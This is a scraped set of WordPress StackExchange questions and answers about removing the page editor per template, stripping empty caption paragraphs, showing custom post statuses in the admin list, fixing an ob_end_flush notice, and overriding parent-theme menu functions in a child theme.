"text": "<p>Remove editor for pages chosen in custom settings, working with ACF plugin\nFirstly</p>\n\n<pre><code>/*\n * Add additional settings menu related with ACF plugin\n */\nif ( function_exists( 'acf_add_options_page' ) ) {\n acf_add_options_page( array(\n 'page_title' => 'Add. settings of Theme',\n 'menu_title' => 'Add. settings',\n 'menu_slug' => 'theme-general-settings',\n 'capability' => 'edit_posts',\n 'redirect' => false\n ) );\n</code></pre>\n\n<p>next step is to create custom fields with relation to pages in ACF plugin and in the final</p>\n\n<pre><code>/*\n * Remove editor for pages chosen in custom settings, working with ACF plugin\n */\nfunction ogate_remove_editor() {\n $pages_without_editor = get_field('pages', 'option');\n if (isset($_GET['post'])) {\n $id = $_GET['post'];\n $template = get_post_meta($id, '_wp_page_template', true);\n if(!empty($pages_without_editor)) {\n foreach ( $pages_without_editor as $single ) {\n $my_template = get_post_meta($single->ID, '_wp_page_template', true);\n $template == $my_template ?\n remove_post_type_support('page', 'editor') : false;\n }\n }\n }\n}\nadd_action('init', 'ogate_remove_editor');\n</code></pre>\n"
}
]
| 2017/02/11 | [
"https://wordpress.stackexchange.com/questions/256071",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113083/"
]
| The answer to [this question](https://wordpress.stackexchange.com/questions/69506/hide-content-box-on-specific-pages-in-admin) is working great but I want to exclude the editor also when other templates are used. Can you please tell me how to extend the code to make this work with more than one template? | Yes, try this :
```
function remove_editor() {
if (isset($_GET['post'])) {
$id = $_GET['post'];
$template = get_post_meta($id, '_wp_page_template', true);
switch ($template) {
case 'template_01.php':
case 'template_02.php':
case 'template_03.php':
case 'template_04.php':
// the below removes 'editor' support for 'pages'
// if you want to remove for posts or custom post types as well
// add this line for posts:
// remove_post_type_support('post', 'editor');
// add this line for custom post types and replace
// custom-post-type-name with the name of post type:
// remove_post_type_support('custom-post-type-name', 'editor');
remove_post_type_support('page', 'editor');
break;
default :
// Don't remove any other template.
break;
}
}
}
add_action('init', 'remove_editor');
```
Change the `'template_01.php' ... 'template_04.php'` with your template names and if you want you can add more template names by adding more cases.
e.g.
```
case 'template_05.php':
```
However, the above code and the code from the [answer](https://wordpress.stackexchange.com/a/115473/110206) requires you to first set the page templates from the page edit screen.
I hope this helps and clears how this works. |
256,087 | <p>I recently added a caption to my image in WordPress and now there is an empty <code><p></p></code> tag after <code><img></code> tag. It broke my style.</p>
<p>Can anyone tell how to remove it?</p>
<p>Thanks for the help.</p>
<p><a href="https://i.stack.imgur.com/VYPiW.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/VYPiW.png" alt="demo" /></a></p>
| [
{
"answer_id": 256097,
"author": "Fayaz",
"author_id": 110572,
"author_profile": "https://wordpress.stackexchange.com/users/110572",
"pm_score": 2,
"selected": false,
"text": "<h1>Removing <code>wpautop</code>:</h1>\n\n<p>This is most likely from <a href=\"https://developer.wordpress.org/reference/functions/wpautop/\" rel=\"nofollow noreferrer\"><code>wpautop</code></a>. To fix that, first write the following CODE in your theme's <code>functions.php</code> file:</p>\n\n<pre><code>remove_filter( 'the_content', 'wpautop' );\nremove_filter( 'the_excerpt', 'wpautop' );\n</code></pre>\n\n<p>If it doesn't solve the issue, that may mean <code><p></p></code> got into your database <em>or</em> you have empty newline inside your <code>[caption][/caption]</code> Shortcode. Go to the post & edit out the <code><p></p></code> or <code>empty new line</code> from WordPress editor's <code>Text</code> mode.</p>\n\n<p>That should solve your problem.</p>\n\n<h1>Alternative CSS Solution:</h1>\n\n<p>You may use CSS CODE to hide <code><p></p></code> as <a href=\"https://wordpress.stackexchange.com/a/256111/110572\">this answer</a> suggested. However, with that method, it'll still be in your HTML & <strong><em>there's no point</em></strong> in creating it and then hiding it entirely with CSS. It's better to remove it in that case with the above CODE.</p>\n\n<p>However, if you want to keep <code>wpautop</code> for some reason (may be you are using it for formatting somewhere else in the site), then you may target only the <code><p></p></code> tags within the captions with the following CSS:</p>\n\n<pre><code>.wp-caption > p:empty {\n display: none;\n}\n</code></pre>\n\n<p>This will keep the formatting of <code>wpautop</code> elsewhere in your site and at the same time solve the display problem for the captions.</p>\n"
},
{
"answer_id": 256100,
"author": "Tunji",
"author_id": 54764,
"author_profile": "https://wordpress.stackexchange.com/users/54764",
"pm_score": 0,
"selected": false,
"text": "<p>You can also remove this using <code>str_replace</code> to replace the p tags with <code>the_content</code> filter:</p>\n\n<pre><code>function wpse256087_content_filter($content) {\n\n $content = str_replace( '<p></p>', '', $content );\n\n return $content;\n}\n\nadd_filter( 'the_content', 'wpse256087_content_filter' );\n</code></pre>\n"
},
{
"answer_id": 256111,
"author": "Maqk",
"author_id": 86885,
"author_profile": "https://wordpress.stackexchange.com/users/86885",
"pm_score": 3,
"selected": false,
"text": "<p>It is not a good practice to override the WordPress native functionality. Instead you can hide the empty elements using CSS</p>\n\n<pre><code>p:empty {\n display: none;\n}\n</code></pre>\n\n<p>This will the empty elements. </p>\n"
},
{
"answer_id": 285232,
"author": "Jake Bellacera",
"author_id": 28962,
"author_profile": "https://wordpress.stackexchange.com/users/28962",
"pm_score": 0,
"selected": false,
"text": "<p>You can do this on the <code>do_shortcode_tag</code> hook.</p>\n\n<pre><code>function remove_empty_wp_caption_text($output, $tag) {\n if ($tag === 'caption') {\n $output = str_replace('<p class=\"wp-caption-text\"> </p>', '', $output);\n }\n\n return $output;\n}\nadd_filter('do_shortcode_tag', 'remove_empty_wp_caption_text', 10, 2);\n</code></pre>\n\n<p>What's nice about this approach is that the function won't be ran unless the <code>[caption]</code> shortcode is called.</p>\n"
}
]
| 2017/02/11 | [
"https://wordpress.stackexchange.com/questions/256087",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113088/"
]
| I recently added a caption to my image in WordPress and now there is an empty `<p></p>` tag after `<img>` tag. It broke my style.
Can anyone tell how to remove it?
Thanks for the help.
[](https://i.stack.imgur.com/VYPiW.png) | It is not a good practice to override the WordPress native functionality. Instead you can hide the empty elements using CSS
```
p:empty {
display: none;
}
```
This will the empty elements. |
256,117 | <p>I've created a simple plugin for our WP site to allow us to enter in our products that we despatch.</p>
<p>To do this I've created a new Post Type called 'order_packing' and within that 2 new Post Statuses: 'In Packing', 'Sent'.</p>
<p>The problem I have is that list correctly shows the packing lists within the ALL (2) total - but doesn't list the packing lists. If I click the 'Sent' status then I get both shown in the list. So my issue is the data is there, but they're not showing under the ALL tab.</p>
<p>Here's the code that creates the Post Type, this all works perfectly</p>
<pre><code>enter code here register_post_type( 'order_packing',
array(
'labels' => array(
'name' => __( 'Order Packing', 'tgplugin' ),
'singular_name' => _x( 'Order Packing', 'order_packing post type singular name', 'tgplugin' ),
'add_new' => __( 'Add Packing List', 'tgplugin' ),
'add_new_item' => __( 'Add Packing List', 'tgplugin' ),
'edit' => __( 'Edit', 'tgplugin' ),
'edit_item' => __( 'Edit Packing List', 'tgplugin' ),
'new_item' => __( 'New Packing List', 'tgplugin' ),
'view' => __( 'View Packing List', 'tgplugin' ),
'view_item' => __( 'View Packing List', 'tgplugin' ),
'search_items' => __( 'Search Packing Lists', 'tgplugin' ),
'not_found' => __( 'No Packing Lists found', 'tgplugin' ),
'not_found_in_trash' => __( 'No Packing Lists found in trash', 'tgplugin' ),
'parent' => __( 'Parent Packing List', 'tgplugin' ),
'menu_name' => _x( 'Stock Packing List', 'Admin menu name', 'tgplugin' ),
'filter_items_list' => __( 'Filter Packing Lists', 'tgplugin' ),
'items_list_navigation' => __( 'Packing List navigation', 'tgplugin' ),
'items_list' => __( 'Packing Lists', 'tgplugin' ),
),
'description' => __( 'This is where Packing Lists are stored.', 'tgplugin' ),
'public' => false,
'show_ui' => true,
'capability_type' => 'packing_list',
'map_meta_cap' => true,
'publicly_queryable' => false,
'exclude_from_search' => true,
'show_in_menu' => true,
'hierarchical' => false,
'show_in_nav_menus' => false,
'menu_position' => 100,
'rewrite' => false,
'query_var' => false,
'supports' => array( 'title', 'comments', 'custom-fields' ),
'has_archive' => false,
)
);
</code></pre>
<p>Here are the Custom Statuses for that Custom Post Type.</p>
<pre><code> register_post_status( 'inpacking', array(
'label' => _x( 'In Packing', 'Order packing' ),
'public' => false,
'exclude_from_search' => false,
'show_in_admin_all_list' => true,
'show_in_admin_status_list' => true,
'label_count' => _n_noop( 'In Packing <span class="count">(%s)</span>', 'In Packing <span class="count">(%s)</span>' ),
) );
register_post_status( 'sent', array(
'label' => _x( 'Sent', 'Order packing' ),
'public' => false,
'exclude_from_search' => false,
'show_in_admin_all_list' => true,
'show_in_admin_status_list' => true,
'label_count' => _n_noop( 'Sent <span class="count">(%s)</span>', 'Sent <span class="count">(%s)</span>' ),
) );
</code></pre>
<p>Finally here are two images showing the issue.</p>
<p><a href="https://i.stack.imgur.com/7A8L1.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/7A8L1.jpg" alt="All showing correct total but no posts" /></a>
<a href="https://i.stack.imgur.com/lgZaM.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/lgZaM.jpg" alt="Posts shown correctly when Sent is clicked" /></a></p>
<p>I'm scratching my head and have searched and searched, I did find this post but there's no answers to it.</p>
<p><a href="https://stackoverflow.com/questions/29434046/wordpress-posts-with-custom-status-need-to-show-in-all-view">https://stackoverflow.com/questions/29434046/wordpress-posts-with-custom-status-need-to-show-in-all-view</a></p>
<p>I hope someone can help save my sanity!</p>
<p>Cheers
Colin</p>
| [
{
"answer_id": 264112,
"author": "pck",
"author_id": 117960,
"author_profile": "https://wordpress.stackexchange.com/users/117960",
"pm_score": 2,
"selected": false,
"text": "<p>You should set the <code>public</code> argument to <code>true</code>. This way the post with 'inpacking' or 'sent' <code>post_status</code> will also show in total.</p>\n\n<p>So your code should be like this:</p>\n\n<pre><code>register_post_status( 'inpacking', array(\n 'label' => _x( 'In Packing', 'Order packing' ),\n 'public' => true,\n 'exclude_from_search' => false,\n 'show_in_admin_all_list' => true,\n 'show_in_admin_status_list' => true,\n 'label_count' => _n_noop( 'In Packing <span class=\"count\">(%s)</span>', 'In Packing <span class=\"count\">(%s)</span>' ),\n ) );\n\nregister_post_status( 'sent', array(\n 'label' => _x( 'Sent', 'Order packing' ),\n 'public' => true,\n 'exclude_from_search' => false,\n 'show_in_admin_all_list' => true,\n 'show_in_admin_status_list' => true,\n 'label_count' => _n_noop( 'Sent <span class=\"count\">(%s)</span>', 'Sent <span class=\"count\">(%s)</span>' ),\n) );\n</code></pre>\n"
},
{
"answer_id": 404158,
"author": "Mort 1305",
"author_id": 188811,
"author_profile": "https://wordpress.stackexchange.com/users/188811",
"pm_score": 0,
"selected": false,
"text": "<p>Old question/answer, but clarification to the question should be addressed.</p>\n<p>First, the <a href=\"https://developer.wordpress.org/reference/functions/register_post_status/\" rel=\"nofollow noreferrer\">codex</a> identifies the default values of both <code>show_in_admin_all_list</code> and <code>show_in_admin_status_list</code> to have a default value that is opposite of <code>internal</code> and the <code>exclude_from_search</code> as the same of <code>internal</code>. The doc indicates the default setting is <code>internal=FALSE</code> so you don't have to explicitly set it or anything related to it.</p>\n<p>Second, though @pck is correct in that setting <code>public=TRUE</code> will solve the problem, there is an issue with this answer. Not only will setting <code>public=TRUE</code> give access to posts having this status on the front end (both in display and query), but <a href=\"https://developer.wordpress.org/reference/classes/wp_query/#comment-2378\" rel=\"nofollow noreferrer\">permission issues</a> could occur as well. Such an outcome is not acceptable in many cases, like when internal company shipping processes are not to be made available to the public or users lacking proper credentials. (I assume this is your situation as you have <code>public=FALSE</code> and <code>capability_type</code> set in your registration of the <code>order_packing</code> post type.) What @pck is eluding to is that the <code>public</code>, <code>protected</code>, or <code>private</code> argument needs to be set in order for the posts of the custom status to be displayed in the "All" view. This is because <a href=\"https://core.trac.wordpress.org/browser/tags/5.9/src/wp-includes/class-wp-query.php#L2561\" rel=\"nofollow noreferrer\">the code</a> of <code>WP_Query->get_posts()</code> will only return posts having statuses registered with one of these arguments set.</p>\n<p>With these two things in mind, a more appropriate solution to your specific circumstance would be:</p>\n<pre><code>register_post_status( 'inpacking', array(\n 'label' => _x( 'In Packing', 'Order packing' ),\n 'private' => true,\n 'label_count' => _n_noop( 'In Packing <span class="count">(%s)</span>', 'In Packing <span class="count">(%s)</span>' ),\n) );\n\nregister_post_status( 'sent', array(\n 'label' => _x( 'Sent', 'Order packing' ),\n 'private' => true,\n 'label_count' => _n_noop( 'Sent <span class="count">(%s)</span>', 'Sent <span class="count">(%s)</span>' ),\n) );\n</code></pre>\n"
}
]
| 2017/02/11 | [
"https://wordpress.stackexchange.com/questions/256117",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113105/"
]
| I've created a simple plugin for our WP site to allow us to enter in our products that we despatch.
To do this I've created a new Post Type called 'order\_packing' and within that 2 new Post Statuses: 'In Packing', 'Sent'.
The problem I have is that list correctly shows the packing lists within the ALL (2) total - but doesn't list the packing lists. If I click the 'Sent' status then I get both shown in the list. So my issue is the data is there, but they're not showing under the ALL tab.
Here's the code that creates the Post Type, this all works perfectly
```
enter code here register_post_type( 'order_packing',
array(
'labels' => array(
'name' => __( 'Order Packing', 'tgplugin' ),
'singular_name' => _x( 'Order Packing', 'order_packing post type singular name', 'tgplugin' ),
'add_new' => __( 'Add Packing List', 'tgplugin' ),
'add_new_item' => __( 'Add Packing List', 'tgplugin' ),
'edit' => __( 'Edit', 'tgplugin' ),
'edit_item' => __( 'Edit Packing List', 'tgplugin' ),
'new_item' => __( 'New Packing List', 'tgplugin' ),
'view' => __( 'View Packing List', 'tgplugin' ),
'view_item' => __( 'View Packing List', 'tgplugin' ),
'search_items' => __( 'Search Packing Lists', 'tgplugin' ),
'not_found' => __( 'No Packing Lists found', 'tgplugin' ),
'not_found_in_trash' => __( 'No Packing Lists found in trash', 'tgplugin' ),
'parent' => __( 'Parent Packing List', 'tgplugin' ),
'menu_name' => _x( 'Stock Packing List', 'Admin menu name', 'tgplugin' ),
'filter_items_list' => __( 'Filter Packing Lists', 'tgplugin' ),
'items_list_navigation' => __( 'Packing List navigation', 'tgplugin' ),
'items_list' => __( 'Packing Lists', 'tgplugin' ),
),
'description' => __( 'This is where Packing Lists are stored.', 'tgplugin' ),
'public' => false,
'show_ui' => true,
'capability_type' => 'packing_list',
'map_meta_cap' => true,
'publicly_queryable' => false,
'exclude_from_search' => true,
'show_in_menu' => true,
'hierarchical' => false,
'show_in_nav_menus' => false,
'menu_position' => 100,
'rewrite' => false,
'query_var' => false,
'supports' => array( 'title', 'comments', 'custom-fields' ),
'has_archive' => false,
)
);
```
Here are the Custom Statuses for that Custom Post Type.
```
register_post_status( 'inpacking', array(
'label' => _x( 'In Packing', 'Order packing' ),
'public' => false,
'exclude_from_search' => false,
'show_in_admin_all_list' => true,
'show_in_admin_status_list' => true,
'label_count' => _n_noop( 'In Packing <span class="count">(%s)</span>', 'In Packing <span class="count">(%s)</span>' ),
) );
register_post_status( 'sent', array(
'label' => _x( 'Sent', 'Order packing' ),
'public' => false,
'exclude_from_search' => false,
'show_in_admin_all_list' => true,
'show_in_admin_status_list' => true,
'label_count' => _n_noop( 'Sent <span class="count">(%s)</span>', 'Sent <span class="count">(%s)</span>' ),
) );
```
Finally here are two images showing the issue.
[](https://i.stack.imgur.com/7A8L1.jpg)
[](https://i.stack.imgur.com/lgZaM.jpg)
I'm scratching my head and have searched and searched, I did find this post but there's no answers to it.
<https://stackoverflow.com/questions/29434046/wordpress-posts-with-custom-status-need-to-show-in-all-view>
I hope someone can help save my sanity!
Cheers
Colin | You should set the `public` argument to `true`. This way the post with 'inpacking' or 'sent' `post_status` will also show in total.
So your code should be like this:
```
register_post_status( 'inpacking', array(
'label' => _x( 'In Packing', 'Order packing' ),
'public' => true,
'exclude_from_search' => false,
'show_in_admin_all_list' => true,
'show_in_admin_status_list' => true,
'label_count' => _n_noop( 'In Packing <span class="count">(%s)</span>', 'In Packing <span class="count">(%s)</span>' ),
) );
register_post_status( 'sent', array(
'label' => _x( 'Sent', 'Order packing' ),
'public' => true,
'exclude_from_search' => false,
'show_in_admin_all_list' => true,
'show_in_admin_status_list' => true,
'label_count' => _n_noop( 'Sent <span class="count">(%s)</span>', 'Sent <span class="count">(%s)</span>' ),
) );
``` |
256,141 | <p>I have a site that has a membership. Currently, we allow customization of preset themes. This uses cookies, however I want my users to have the same theme across all of their devices. <strong>I want to be able to save the cookies to a users account.</strong> There has to be somehow to do this. The plugin I use for theme switching is Theme Switcher by Ryan Boren.</p>
| [
{
"answer_id": 264112,
"author": "pck",
"author_id": 117960,
"author_profile": "https://wordpress.stackexchange.com/users/117960",
"pm_score": 2,
"selected": false,
"text": "<p>You should set the <code>public</code> argument to <code>true</code>. This way the post with 'inpacking' or 'sent' <code>post_status</code> will also show in total.</p>\n\n<p>So your code should be like this:</p>\n\n<pre><code>register_post_status( 'inpacking', array(\n 'label' => _x( 'In Packing', 'Order packing' ),\n 'public' => true,\n 'exclude_from_search' => false,\n 'show_in_admin_all_list' => true,\n 'show_in_admin_status_list' => true,\n 'label_count' => _n_noop( 'In Packing <span class=\"count\">(%s)</span>', 'In Packing <span class=\"count\">(%s)</span>' ),\n ) );\n\nregister_post_status( 'sent', array(\n 'label' => _x( 'Sent', 'Order packing' ),\n 'public' => true,\n 'exclude_from_search' => false,\n 'show_in_admin_all_list' => true,\n 'show_in_admin_status_list' => true,\n 'label_count' => _n_noop( 'Sent <span class=\"count\">(%s)</span>', 'Sent <span class=\"count\">(%s)</span>' ),\n) );\n</code></pre>\n"
},
{
"answer_id": 404158,
"author": "Mort 1305",
"author_id": 188811,
"author_profile": "https://wordpress.stackexchange.com/users/188811",
"pm_score": 0,
"selected": false,
"text": "<p>Old question/answer, but clarification to the question should be addressed.</p>\n<p>First, the <a href=\"https://developer.wordpress.org/reference/functions/register_post_status/\" rel=\"nofollow noreferrer\">codex</a> identifies the default values of both <code>show_in_admin_all_list</code> and <code>show_in_admin_status_list</code> to have a default value that is opposite of <code>internal</code> and the <code>exclude_from_search</code> as the same of <code>internal</code>. The doc indicates the default setting is <code>internal=FALSE</code> so you don't have to explicitly set it or anything related to it.</p>\n<p>Second, though @pck is correct in that setting <code>public=TRUE</code> will solve the problem, there is an issue with this answer. Not only will setting <code>public=TRUE</code> give access to posts having this status on the front end (both in display and query), but <a href=\"https://developer.wordpress.org/reference/classes/wp_query/#comment-2378\" rel=\"nofollow noreferrer\">permission issues</a> could occur as well. Such an outcome is not acceptable in many cases, like when internal company shipping processes are not to be made available to the public or users lacking proper credentials. (I assume this is your situation as you have <code>public=FALSE</code> and <code>capability_type</code> set in your registration of the <code>order_packing</code> post type.) What @pck is eluding to is that the <code>public</code>, <code>protected</code>, or <code>private</code> argument needs to be set in order for the posts of the custom status to be displayed in the "All" view. This is because <a href=\"https://core.trac.wordpress.org/browser/tags/5.9/src/wp-includes/class-wp-query.php#L2561\" rel=\"nofollow noreferrer\">the code</a> of <code>WP_Query->get_posts()</code> will only return posts having statuses registered with one of these arguments set.</p>\n<p>With these two things in mind, a more appropriate solution to your specific circumstance would be:</p>\n<pre><code>register_post_status( 'inpacking', array(\n 'label' => _x( 'In Packing', 'Order packing' ),\n 'private' => true,\n 'label_count' => _n_noop( 'In Packing <span class="count">(%s)</span>', 'In Packing <span class="count">(%s)</span>' ),\n) );\n\nregister_post_status( 'sent', array(\n 'label' => _x( 'Sent', 'Order packing' ),\n 'private' => true,\n 'label_count' => _n_noop( 'Sent <span class="count">(%s)</span>', 'Sent <span class="count">(%s)</span>' ),\n) );\n</code></pre>\n"
}
]
| 2017/02/11 | [
"https://wordpress.stackexchange.com/questions/256141",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/-1/"
]
| I have a site that has a membership. Currently, we allow customization of preset themes. This uses cookies, however I want my users to have the same theme across all of their devices. **I want to be able to save the cookies to a users account.** There has to be somehow to do this. The plugin I use for theme switching is Theme Switcher by Ryan Boren. | You should set the `public` argument to `true`. This way the post with 'inpacking' or 'sent' `post_status` will also show in total.
So your code should be like this:
```
register_post_status( 'inpacking', array(
'label' => _x( 'In Packing', 'Order packing' ),
'public' => true,
'exclude_from_search' => false,
'show_in_admin_all_list' => true,
'show_in_admin_status_list' => true,
'label_count' => _n_noop( 'In Packing <span class="count">(%s)</span>', 'In Packing <span class="count">(%s)</span>' ),
) );
register_post_status( 'sent', array(
'label' => _x( 'Sent', 'Order packing' ),
'public' => true,
'exclude_from_search' => false,
'show_in_admin_all_list' => true,
'show_in_admin_status_list' => true,
'label_count' => _n_noop( 'Sent <span class="count">(%s)</span>', 'Sent <span class="count">(%s)</span>' ),
) );
``` |
256,149 | <p>At the bottom of my WP-admin pages I get this:</p>
<pre><code>ob_end_flush(): failed to send buffer of zlib output compression (1) in C:\Users\anticaking\Desktop\Website\wordpress\wp-includes\functions.php on line 3718.
</code></pre>
<p>Line 3718:</p>
<pre><code>function wp_ob_end_flush_all() {
$levels = ob_get_level();
for ($i=0; $i<$levels; $i++)
ob_end_flush();
}
</code></pre>
<p>I've removed all plug-ins and swapped themes and still get the error so I cannot pinpoint what is causing it. What is it and how do I fix this?</p>
| [
{
"answer_id": 289783,
"author": "Madusanka",
"author_id": 134013,
"author_profile": "https://wordpress.stackexchange.com/users/134013",
"pm_score": 1,
"selected": false,
"text": "<p>bool ob_end_flush ( void )\nThis function will send the contents of the topmost output buffer (if any) and turn this output buffer off. If you want to further process the buffer's contents you have to call ob_get_contents() before ob_end_flush() as the buffer contents are discarded after ob_end_flush() is called.</p>\n\n<p>for more: <a href=\"http://php.net/manual/en/function.ob-end-flush.php\" rel=\"nofollow noreferrer\">http://php.net/manual/en/function.ob-end-flush.php</a></p>\n\n<p>Try this,\nput this into, functions.php file.\nremove_action( 'shutdown', 'wp_ob_end_flush_all', 1 );</p>\n"
},
{
"answer_id": 316448,
"author": "jhob101",
"author_id": 98203,
"author_profile": "https://wordpress.stackexchange.com/users/98203",
"pm_score": 3,
"selected": true,
"text": "<p>I also had this issue with wordpress and couldn't properly resolve it. Ended up with this filthy hack to prevent the error from showing:</p>\n\n<pre><code>// Get the current error reporting level\n$e_level = error_reporting();\n\n// Turn off error reporting\nerror_reporting(0);\n\nob_start();\necho 'This is a horrible hack';\n$buffer_contents = ob_get_clean();\nob_end_flush();\n\n// Reset error reporting level to previous\nerror_reporting($e_level);\n</code></pre>\n\n<p>Everything does seem to work as expected, however I'm not proud of it!</p>\n"
},
{
"answer_id": 354386,
"author": "Kevinleary.net",
"author_id": 1495,
"author_profile": "https://wordpress.stackexchange.com/users/1495",
"pm_score": 0,
"selected": false,
"text": "<p>I wouldn't recommend disabling the <code>wp_ob_end_flush_all()</code> function entirely, there's a good reason it's there. Instead, try replacing it with the following:</p>\n\n<pre><code>/**\n * Proper ob_end_flush() for all levels\n *\n * This replaces the WordPress `wp_ob_end_flush_all()` function\n * with a replacement that doesn't cause PHP notices.\n */\nremove_action( 'shutdown', 'wp_ob_end_flush_all', 1 );\nadd_action( 'shutdown', function() {\n while ( @ob_end_flush() );\n} );\n</code></pre>\n\n<p>I have a write-up with more details on what's going on, and why this is the best approach to fix it: <a href=\"https://www.kevinleary.net/wordpress-ob_end_flush-error-fix/\" rel=\"nofollow noreferrer\">Quick Fix for WordPress ob_end_flush() Error</a></p>\n"
},
{
"answer_id": 390488,
"author": "sariDon",
"author_id": 92425,
"author_profile": "https://wordpress.stackexchange.com/users/92425",
"pm_score": 0,
"selected": false,
"text": "<p>I tried a brute-force approach which worked (I'm not satisfied with it, but hope this can help someone):</p>\n<p>In the last line of the <strong>functions.php</strong> in the <em>/wp-content/themes/<theme_directory></em>, add the following line:</p>\n<pre><code>ob_get_clean();\n</code></pre>\n"
}
]
| 2017/02/12 | [
"https://wordpress.stackexchange.com/questions/256149",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111846/"
]
| At the bottom of my WP-admin pages I get this:
```
ob_end_flush(): failed to send buffer of zlib output compression (1) in C:\Users\anticaking\Desktop\Website\wordpress\wp-includes\functions.php on line 3718.
```
Line 3718:
```
function wp_ob_end_flush_all() {
$levels = ob_get_level();
for ($i=0; $i<$levels; $i++)
ob_end_flush();
}
```
I've removed all plug-ins and swapped themes and still get the error so I cannot pinpoint what is causing it. What is it and how do I fix this? | I also had this issue with wordpress and couldn't properly resolve it. Ended up with this filthy hack to prevent the error from showing:
```
// Get the current error reporting level
$e_level = error_reporting();
// Turn off error reporting
error_reporting(0);
ob_start();
echo 'This is a horrible hack';
$buffer_contents = ob_get_clean();
ob_end_flush();
// Reset error reporting level to previous
error_reporting($e_level);
```
Everything does seem to work as expected, however I'm not proud of it! |
256,195 | <p>I'm using the theme "Tesseract" as a parent theme, and I'd like to use the walker class to get menu descriptions. However, I am having trouble figuring out how to edit the php, because I don't know how to properly replace the parent theme's functions.</p>
<h3>I need to change a parent theme's function</h3>
<p>According to <a href="http://www.wpbeginner.com/wp-themes/how-to-add-menu-descriptions-in-your-wordpress-themes/" rel="nofollow noreferrer">this page</a>, I'm supposed to find is find the <code>wp_nav_menu()</code>, which they author suggests is most likely in header.php, and replace that function call with this.</p>
<pre><code><?php $walker = new Menu_With_Description; ?>
<?php wp_nav_menu( array( 'theme_location' => 'primary', 'menu_class' => 'nav-menu', 'walker' => $walker ) ); ?>
</code></pre>
<p>The problem is that for my theme, <code>wp_nav_menu()</code> is getting called in my the Parent Theme's functions.php file, not in header.php, although the containing function (<code>tesseract_output_menu</code>) <em>is</em> called inside of header.php. What this means that I am going to, most likely, have to replace a parent theme's function, but I'm not sure how to do that the right way.</p>
<p><code>tesseract_output_menu</code> is that function inside the parent theme function.php file that is called inside of header.php, I am going to try to change it to a function called <code>child_tesseract_output_menu</code>. </p>
<h3>This is the parent theme function:</h3>
<pre><code>function tesseract_output_menu( $cont, $contClass, $location, $depth ) {
switch( $location ) :
case 'primary': $hblox = 'header'; break;
case 'primary_right': $hblox = 'header_right'; break;
case 'secondary': $hblox = 'footer'; break;
case 'secondary_right': $hblox = 'footer_right'; break;
endswitch;
$locs = get_theme_mod('nav_menu_locations');
$menu = get_theme_mod('tesseract_' . $hblox . '_menu_select');
$isMenu = get_terms( 'nav_menu' ) ? TRUE : FALSE;
$locReserved = ( $locs[$location] ) ? TRUE : FALSE;
$menuSelected = ( is_string($menu) ) ? TRUE : FALSE;
// IF the location set as parameter has an associated menu, it's returned as a key-value pair in the $locs array - where the key is the location and the value is the menu ID. We need this latter to get the menu slug required later -in some cases- in the wp_nav_menu params array.
if ( $locReserved ) {
$menu_id = $locs[$location]; // $value = $array[$key]
$menuObject = wp_get_nav_menu_object( $menu_id );
$menu_slug = $menuObject->slug;
};
$custSet = ( $menuSelected && ( $menu !== 'none' ) );
if ( empty( $isMenu ) ) : //Case 1 - IF THERE'S NO MENU CREATED -> easy scenario: no location setting, no customizer setting ( this latter only appears if there IS at least one menu created by the theme user ) => display basic menu
wp_nav_menu( array(
'theme_location' => 'primary',
'menu_class' => 'nav-menu',
'container_class' => '',
'container' => FALSE,
'depth' => $depth
)
);
elseif ( !empty( $isMenu ) ) : //Case 2 - THERE'S AT LEAST ONE MENU CREATED
if ( !$custSet && $locReserved ) { //no setting in customizer OR dropdown is set to blank value, location SET in Menus section => display menu associated with this location in Appearance ->
wp_nav_menu( array(
// 'menu' => $menuSlug,
'menu' => $menu_slug,
'theme_location' => $location,
'menu_class' => 'nav-menu',
'container_class' => $contClass,
'container' => $cont,
'depth' => $depth
)
);
} else if ( !$custSet && !$locReserved ) { //no setting in customizer OR dropdown is set to blank value, location NOT SET in Menus section => display basic menu
wp_nav_menu( array(
'theme_location' => 'primary',
'menu_class' => 'nav-menu',
'container_class' => '',
'container' => FALSE,
'depth' => $depth
)
);
} else if ( $custSet ) { //menu set in customizer AND dropdown is NOT set to blank value, location SET OR NOT SET in Menus section => display menu set in customizer ( setting a menu to the given location in customizer will update any existing location-menu association in Appearance -> Menus, see function tesseract_set_menu_location() in functions.php )
wp_nav_menu( array(
'menu' => $menu,
'theme_location' => $location,
'menu_class' => 'nav-menu',
'container_class' => $contClass,
'container' => $cont,
'depth' => $depth
)
);
}
endif;
}
</code></pre>
<h3>Stack provides an example</h3>
<p>From what I know I would probably want to use an action or filter to do this, as is demonstrated in <code>this question</code>:
<a href="https://wordpress.stackexchange.com/questions/7557/how-to-override-parent-functions-in-child-themes">How to override parent functions in child themes?</a></p>
<h3>The example isn't clear to me</h3>
<p>The problem is that in example I'm trying to follow is not thoroughly explained and I don't quite understand how filters work yet. In that stack example, they seem to remove a function called <code>twentyten_auto_excerpt_more</code>, with one called
<code>osu_twentyten_auto_excerpt_more</code>, but they do so using a first argument called <code>excerpt_more</code>:</p>
<h3>The child override function in the Stack answer:</h3>
<pre><code>// Override read more link
function osu_twentyten_continue_reading_link() {
return ' <a href="'. get_permalink() . '">' . __( 'Read on <span class="meta-nav">&rarr;</span>', 'twentyten-child' ) . '</a>';
}
function osu_twentyten_auto_excerpt_more( $more ) {
return ' &hellip;' . osu_twentyten_continue_reading_link();
}
remove_filter( 'excerpt_more', 'twentyten_auto_excerpt_more' );
add_filter( 'excerpt_more', 'osu_twentyten_auto_excerpt_more' );
</code></pre>
<p>Since I want to change <code>tesseract_output_menu</code>, based on this example, I am pretty sure I would call my child function to replace the parent function <code>tesseract_output_menu</code> something like <code>child_tesseract_output_menu</code>,I think that is clear. But what I don't understand is what is the equivalent/analog of the first argument in my case, which is the same of <code>exerpt_more</code> in the above example. They don't say what <code>excerpt_more</code> is. I need to know what the first argument of the <code>remove_filter and</code>add_filter` need to be in my case. </p>
<p>To make this clearer</p>
<h3>Stack example</h3>
<ol>
<li>functions used: <code>add filter</code>, <code>remove filter</code></li>
<li>second argument of remove filter (parent function to be replaced): <code>twentyten_auto_excerpt_more</code></li>
